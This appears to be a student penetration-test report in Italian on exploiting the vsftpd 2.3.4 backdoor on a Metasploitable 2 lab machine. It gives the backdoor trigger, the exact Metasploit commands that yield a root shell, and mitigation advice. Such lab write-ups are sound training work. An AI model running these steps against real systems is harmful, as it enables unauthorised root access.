Report: Test di Penetrazione su Servizio vsftpd

Data: 19 gennaio 2026

Operatore: Massimo Somma

Obiettivo: Metasploitable 2 (IP: 192.168.1.149)

Macchina attaccante: Kali Linux (IP: 192.168.1.150)

---

1. Obiettivo dell'Attività

L'obiettivo dell'esercitazione è dimostrare lo sfruttamento di una vulnerabilità nota (backdoor) nel servizio FTP `vsftpd` versione 2.3.4 su una macchina target Metasploitable, acquisire i privilegi di root e modificare il file system creando una directory specifica nella root del sistema.

2. Configurazione dell'Ambiente di Laboratorio

Le macchine sono state configurate all'interno di un ambiente virtualizzato (VirtualBox) sulla stessa sottorete per garantire la raggiungibilità:

- **Target (Metasploitable):** Configurato con IP statico `192.168.1.149/24`.
- **Attaccante (Kali Linux):** Configurato con IP statico `192.168.1.150/24`(necessario per allinearsi alla sottorete del target).
- **Verifica connettività:** Testata con successo tramite comando `ping`.

3. Analisi della vulnerabilità

Il servizio identificato come vulnerabile è **vsftpd 2.3.4** . Questa specifica versione è nota per contenere una "backdoor" inserita nel codice sorgente originale. La sicurezza viene innescata inviando una stringa specifica come nome utente (contenente la sequenza `:)`), che causa l'apertura di una shell di root sulla porta TCP 6200.

4. Esecuzione dell'Attacco (Sfruttamento)

Per l'attacco è stato utilizzato il framework **Metasploit** . Di seguito i passi eseguiti:

1. **Selezione del modulo:** `use exploit/unix/ftp/vsftpd_234_backdoor`
2. **Configurazione target:** `set RHOSTS 192.168.1.149`
3. **Configurazione del payload:** `set payload cmd/unix/interact`
4. **Lancio dell'exploit:** `exploit`

Risultato: L'exploit ha stabilito con successo una sessione di comando (Command Shell Session) con privilegi di utente **root** .

5. Attività di Post-Sfruttamento

Una volta ottenuta la shell remota, sono stati eseguiti i seguenti comandi per soddisfare i requisiti della traccia:

- Navigazione nella directory principale: `cd /`
- Creazione cartella richiesta: `mkdir test_metasploit`
- Verifica della creazione: `ls -d /test_metasploit`

6. Conclusioni e Mitigazione

L'attacco è andato a buon fine a causa dell'utilizzo di una versione software obsoleta e compromessa.

Raccomandazioni per la sicurezza:

- Aggiornare immediatamente il servizio `vsftpd` a una versione successiva (es. 3.x) dove la backdoor è stata rimossa.
- Implementare un firewall per limitare l'accesso alla porta 21 solo a IP autorizzati.
- Monitorare il registro del sistema per tentativi di accesso anomalo su porte non standard (come la 6200).